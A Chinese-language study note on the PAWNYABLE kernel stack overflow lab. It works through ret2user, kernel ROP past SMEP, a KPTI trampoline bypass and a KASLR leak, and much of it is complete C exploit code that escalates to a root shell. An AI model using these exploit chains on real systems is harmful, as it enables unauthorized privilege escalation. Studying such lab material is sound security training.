PAWNYABLE kernel stack overflow 笔记
/ 11 min read
Table of Contents
PAWNYABLE 中的第一节 stack overflow 的学习笔记。( 觉得这个教程好细致,而且封面好可爱… 这一节讨论内核的栈溢出,分成了不同防护程度的情况来讨论不同的情况下面,攻击应该如何进行。
基本的思路
在 module_write 里面,copy_from_user 的大小是用户控制,大小没有检查的。可以在这里发生溢出。read 也有这个漏洞,可以读取更多的数据(
_QWORD *v4; // rcx _QWORD buf[128]; // [rsp+20h] [rbp-400h] BYREF
memset(buf, 0, sizeof(buf)); printk(&unk_3FE); if ( copy_from_user(buf, a2, a3) ) { printk(&unk_415); return -22LL; }从而控制返回地址
- 提权的方式是设置 cred 结构
使用 prepare_kernel_cred(NULL) 来布置 init cred (6.2 之后不能这么干了,只能自己找到 init cred 的地址)。commit_creds 布置到当前进程。(这写可以用 ROP 来完成。
- 用户态切换
iretq 从内核态到用户空间,swapgs 用来更换页表 GS。iretq 需要布置的寄存器大概有:
rsp ---> rip cs rflags rsp sslevel 0:ret2user
环境: 未开启 smep smap kaslr
由于这次 SMEP 被禁用,位于用户空间内存中的代码可以从内核空间执行。换句话说,可以简单地用 C 语言编写 prepare_kernel_cred 、 commit_creds 、 swapgs iretq 的流程。
直接在 /proc/kallsyms 找到符号的的地址。但是,如果直接读取的话,即使是 root 里面的值是全 0。要求不能开启 kptr 注释掉这一行: echo 2 > /proc/sys/kernel/kptr_restrict 才能看见。
/ # whoamiroot/ # cat /proc/kallsyms | grep commit_creds0000000000000000 T commit_creds/ # echo 0 > /proc/sys/kernel/kptr_restrict/ # cat /proc/kallsyms | grep commit_credsffffffff8106e390 T commit_creds现在就可以拿到;两个内核的函数的地址了。在 exp 里面直接写,写法是 function-pointers
char* (*pkc)(int) = (void *)prepare_kernel_cred; int (*cc)(char *) = (void *)commit_creds; (*cc)((*pkc)(0));这时候那么如何返回到用户的空间呢…?
可以使用 iretq 来返回到用户空间,需要事先把几个寄存器给保留一下。
uint64_t user_cs, user_ss, user_rflags, user_sp;
void save_status() { asm("movq %%cs, %0\n\t" "movq %%ss, %1\n\t" "movq %%rsp, %3\n\t" "pushfq\n\t" "popq %2\n\t" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) : // no input : "memory");}
void binsh(){ puts("get shell"); char *argv[] = { "/bin/sh", NULL }; char *envp[] = { NULL }; execve("/bin/sh", argv, envp);}
void restore_status() {
// 在栈上布置 iretq 的参数 asm volatile( "swapgs \n\t" "movq %0, 0x8(%%rsp)\n\t" "movq %1, 0x10(%%rsp)\n\t" "movq %2, 0x18(%%rsp)\n\t" "movq %3, 0x20(%%rsp)\n\t" "movq %4, (%%rsp)\n\t" "iretq\n\t" : // no output : "r"(user_cs), "r"(user_rflags), "r"(user_sp), "r"(user_ss), "r"(&binsh) : "memory");}打断点,在 /proc/kallsyms 里面找到符号的地址
/ # cat /proc/kallsyms | grep module_writeffffffffc0000120 t module_write [vuln]也可以直接找到加载地址。不能有 kptr 保护
/ # whoamiroot/ # echo 0 > /proc/sys/kernel/kptr_restrict/ # cat /sys/module/vuln/sections/.text0xffffffffc0000000exp
完整的 exp 就是
#include <fcntl.h>#include <stdint.h>#include <stdio.h>#include <string.h>#include <unistd.h>#include <stdlib.h>
// some definations#define VULN_SIZE 0x450#define BUF_SIZE 0x400uint64_t commit_creds = 0xffffffff8106e390;uint64_t prepare_kernel_cred = 0xffffffff8106e240;uint64_t user_cs, user_ss, user_rflags, user_sp;
void save_status() { asm("movq %%cs, %0\n\t" "movq %%ss, %1\n\t" "movq %%rsp, %3\n\t" "pushfq\n\t" "popq %2\n\t" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) : // no input : "memory");}
void binsh(){ puts("get shell"); char *argv[] = { "/bin/sh", NULL }; char *envp[] = { NULL }; execve("/bin/sh", argv, envp);}
void restore_status() {
// 在栈上布置 iretq 的参数 asm volatile( "swapgs \n\t" "movq %0, 0x8(%%rsp)\n\t" "movq %1, 0x10(%%rsp)\n\t" "movq %2, 0x18(%%rsp)\n\t" "movq %3, 0x20(%%rsp)\n\t" "movq %4, (%%rsp)\n\t" "iretq\n\t" : // no output : "r"(user_cs), "r"(user_rflags), "r"(user_sp), "r"(user_ss), "r"(&binsh) : "memory");}
void hack() { // struct cred *prepare_kernel_cred(struct task_struct *daemon) // int commit_creds(struct cred *new) char *(*pkc)(int) = (void *)prepare_kernel_cred; int (*cc)(char *) = (void *)commit_creds; (*cc)((*pkc)(0)); restore_status();}
int main() { puts("saving status"); save_status(); puts("saved status"); int fd = open("/dev/holstein", O_RDWR);
char buf[VULN_SIZE]; memset(buf, 0x12, BUF_SIZE); *((uint64_t *)buf + 129) = (uint64_t) &hack; write(fd, buf, VULN_SIZE); puts("wrote");}然后就可以 get shell 咯
[ Holstein v1 (LK01) - Pawnyable ]/ $ whoamiwhoami: unknown uid 1337/ $ ./expsaving statussaved statusget shell/ # whoamirootlevel 1:krop
开启了 semp 保护之后不能直接 ret 2 user,这里可以借助 ROP 来完成。
首先使用 extract-vmlinux 脚本导出 vmlinux。使用 ropr 来寻找 gadget(对这种大型的文件的适应比较好…?)
需要把 prepare_kernel_cred 返回值传递给 commit_creds,相当于 mov rdi, rax; ret;
如果没有 mov rdi, rax 如何操作
使用 ropper 可以找到比 ropr 更多的 gadget,提前把 rcx 设置成 0,然后跳转到 mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 指令。(否则 rep movsq 可能报错)。
ropper --file vmlinux --search "mov rdi, rax"
0xffffffff8160c96b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;而且 ropper 可以搜索到 iretq,感觉比原文章里面推荐的 ropr 更厉害一点点?
除了找到这一条 gadget 还有其他方法 GitHub - fengjixuchui/rop_linux_kernel_pwn: learn rop of linux kernel pwn
----------------------------------------------------------------------------------------------------- stack ----$rsp 0xffffc90000567ef0|+0x0000|+000: 0x0000000000401895 -> 0xe5894855fa1e0ff3 <- retaddr[1]$r15 0xffffc90000567ef8|+0x0008|+001: 0x0000000000000033 0xffffc90000567f00|+0x0010|+002: 0x0000000000000202 0xffffc90000567f08|+0x0018|+003: 0x00007ffd16500bf0 -> 0x00007ffd16500c10 -> 0x00007ffd16500cb0 -> ... <- retaddr[4] 0xffffc90000567f10|+0x0020|+004: 0x000000000000002b 0xffffc90000567f18|+0x0028|+005: 0x0000000000000000 0xffffc90000567f20|+0x0030|+006: 0x0000000000000000 0xffffc90000567f28|+0x0038|+007: 0x0000000000000000--------------------------------------------------------------------------------- code: x86:64 (gdb-native) ---- 0xffffffff810202a7 8cc8 <NO_SYMBOL> mov eax, cs 0xffffffff810202a9 50 <NO_SYMBOL> push rax 0xffffffff810202aa 68b1020281 <NO_SYMBOL> push 0xffffffff810202b1 -> 0xffffffff810202af 48cf <NO_SYMBOL> iretq
-> 0x401895 f30f1efa <NO_SYMBOL> endbr64 0x401899 55 <NO_SYMBOL> push rbp 0x40189a 4889e5 <NO_SYMBOL> mov rbp, rsp 0x40189d 4883ec30 <NO_SYMBOL> sub rsp, 0x30 0x4018a1 64488b042528000000 <NO_SYMBOL> mov rax, QWORD PTR fs:0x28 0x4018aa 488945f8 <NO_SYMBOL> mov QWORD PTR [rbp - 0x8], raxexp
完整的 exp 就是:
// some definations#define VULN_SIZE 0x500#define BUF_SIZE 0x400
char buf[VULN_SIZE];
uint64_t commit_creds = 0x06e390;uint64_t prepare_kernel_cred = 0x06e240;uint64_t user_cs, user_ss, user_rflags, user_sp;
// ropruint64_t kbase = 0xffffffff81000000;uint64_t pop_rdi_ret = 0x27bbdc;uint64_t pop_rcx_ret = 0x2ea083;uint64_t mov_rdi_rax_ret = 0x60c96b;uint64_t iretq = 0x0202af;uint64_t swapgs = 0x60bf7e;
void binsh() { puts("get shell"); char *argv[] = {"/bin/sh", NULL}; char *envp[] = {NULL}; execve("/bin/sh", argv, envp);}
void krop() { uint64_t rop[] = { pop_rdi_ret + kbase, 0, prepare_kernel_cred + kbase, pop_rcx_ret + kbase, 0, mov_rdi_rax_ret + kbase, commit_creds + kbase, swapgs + kbase, iretq + kbase, (uint64_t)&binsh, user_cs, user_rflags, user_sp, user_ss };
// no overflow...? memcpy(buf + 0x408, rop, sizeof(rop));}level 2:开启 kpti
可以使用 swapgs 中的 iretq 返回到用户空间,但由于 KPTI,页面目录仍保留在内核空间中,因此用户空间中的页面不可读。这句话是什么意思?
gs 寄存器变化了,但是页表并没有切换,所以寻址是找不到的。
使用一个临时栈来切换内核和用户的状态,防止把内核状态泄露给用户。STACKLEAK_ERASE_NOCLOBBER 这是一个宏,通常用于清除栈上的敏感数据,以避免栈泄漏。它的作用是在不破坏寄存器内容的情况下擦除栈上的数据,防止泄露给恶意用户。
[!question] 为什么要有一个 trampoline stack 不能直接清空么。好像不可以,因为 iret(interupt return 的时候会用到栈上的东西,这就没办法清除了。)
// swapgs_restore_regs_and_return_to_usermode
POP_REGS pop_rdi=0 // pop 各个 regs 但是排除 rdi
movq %rsp, %rdimovq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rspUNWIND_HINT_EMPTY
/* Copy the IRET frame to the trampoline stack. */pushq 6*8(%rdi) /* SS */pushq 5*8(%rdi) /* RSP */pushq 4*8(%rdi) /* EFLAGS */pushq 3*8(%rdi) /* CS */pushq 2*8(%rdi) /* RIP */
/* Push user RDI on the trampoline stack. */pushq (%rdi)
/* * We are on the trampoline stack. All regs except RDI are live. * We can do future final exit work right here. * 这是一个宏,通常用于清除栈上的敏感数据,以避免栈泄漏。它的作用是在不破坏寄存器内容的情况下擦除栈上的数据,防止泄露给恶意用户。 */STACKLEAK_ERASE_NOCLOBBER
SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
/* Restore RDI. */popq %rdiSWAPGSINTERRUPT_RETURN解决方法是 ==直接仿造一个假的 trampoline stack。== 如下:
| rsp | rax |
|---|---|
| rdi | |
| rip | |
| cs | |
| eflags | |
| rsp | |
| ss |
swapgs 和切换 cr 3 的顺序…? gadget 里面自带了 swapgs 不需要再 rop 里面再写一遍了
exp
void krop_with_cr3() { uint64_t rop[] = { pop_rdi_ret + kbase, 0, prepare_kernel_cred + kbase, pop_rcx_ret + kbase, 0, mov_rdi_rax_ret + kbase, commit_creds + kbase, srrartu + kbase, 0x1, 0x2, (uint64_t)&binsh, user_cs, user_rflags, user_sp, user_ss }; // no overflow...? memcpy(buf + 0x408, rop, sizeof(rop));
}level 3:加上 kaslr
内核保留了从 0xffffffff 80000000 到 0xffffffffc 0000000 的 1 GB 地址空间。因此,即使使能 KASLR,也仅生成从 0x810 到 0xc00 的 0x3f0 基地址。
提前泄露一下偏移就可以了。
exp
#include <fcntl.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <inttypes.h>
// some definations#define VULN_SIZE 0x500#define LEAK_SIZE 0x410#define BUF_SIZE 0x400
char leak[LEAK_SIZE];char buf[VULN_SIZE];
uint64_t commit_creds = 0x06e390;uint64_t prepare_kernel_cred = 0x06e240;uint64_t user_cs, user_ss, user_rflags, user_sp;
// ropruint64_t kbase = 0xffffffff81000000;uint64_t pop_rdi_ret = 0x27bbdc;uint64_t pop_rcx_ret = 0x2ea083;uint64_t mov_rdi_rax_ret = 0x60c96b;uint64_t iretq = 0x0202af;uint64_t swapgs = 0x60bf7e;uint64_t srrartu = 0x800e44;
void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }
void binsh() { puts("get shell"); char *argv[] = {"/bin/sh", NULL}; char *envp[] = {NULL}; execve("/bin/sh", argv, envp);}
void krop() { uint64_t rop[] = { pop_rdi_ret + kbase, 0, prepare_kernel_cred + kbase, pop_rcx_ret + kbase, 0, mov_rdi_rax_ret + kbase, commit_creds + kbase, swapgs + kbase, iretq + kbase, (uint64_t)&binsh, user_cs, user_rflags, user_sp, user_ss };
// no overflow...? memcpy(buf + 0x408, rop, sizeof(rop));}
void krop_with_cr3() { uint64_t rop[] = { pop_rdi_ret + kbase, 0, prepare_kernel_cred + kbase, pop_rcx_ret + kbase, 0, mov_rdi_rax_ret + kbase, commit_creds + kbase, srrartu + kbase, 0x1, 0x2, (uint64_t)&binsh, user_cs, user_rflags, user_sp, user_ss }; // no overflow...? memcpy(buf + 0x408, rop, sizeof(rop));
}
void save_status() { asm("movq %%cs, %0\n\t" "movq %%ss, %1\n\t" "movq %%rsp, %3\n\t" "pushfq\n\t" "popq %2\n\t" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) : // no input : "memory");}
void restore_status() {
// 在栈上布置 iretq 的参数 asm volatile("swapgs \n\t" "movq %0, 0x8(%%rsp)\n\t" "movq %1, 0x10(%%rsp)\n\t" "movq %2, 0x18(%%rsp)\n\t" "movq %3, 0x20(%%rsp)\n\t" "movq %4, (%%rsp)\n\t" "iretq\n\t" : // no output : "r"(user_cs), "r"(user_rflags), "r"(user_sp), "r"(user_ss), "r"(&binsh) : "memory");}
void hack() { // struct cred *prepare_kernel_cred(struct task_struct *daemon) // int commit_creds(struct cred *new) char *(*pkc)(int) = (void *)prepare_kernel_cred + kbase; int (*cc)(char *) = (void *)commit_creds + kbase; (*cc)((*pkc)(0)); restore_status();}
void ret2user() { memset(buf, 0x12, BUF_SIZE); *((uint64_t *)buf + 129) = (uint64_t)&hack;}
int main() { puts("saving status"); save_status(); puts("saved status"); int fd = open("/dev/holstein", O_RDWR); read(fd, leak, 0x410); kbase = *(uint64_t *) (leak + 0x408) - 0x13d33c; print_hex("kbase", kbase); krop_with_cr3(); write(fd, buf, VULN_SIZE); puts("wrote");}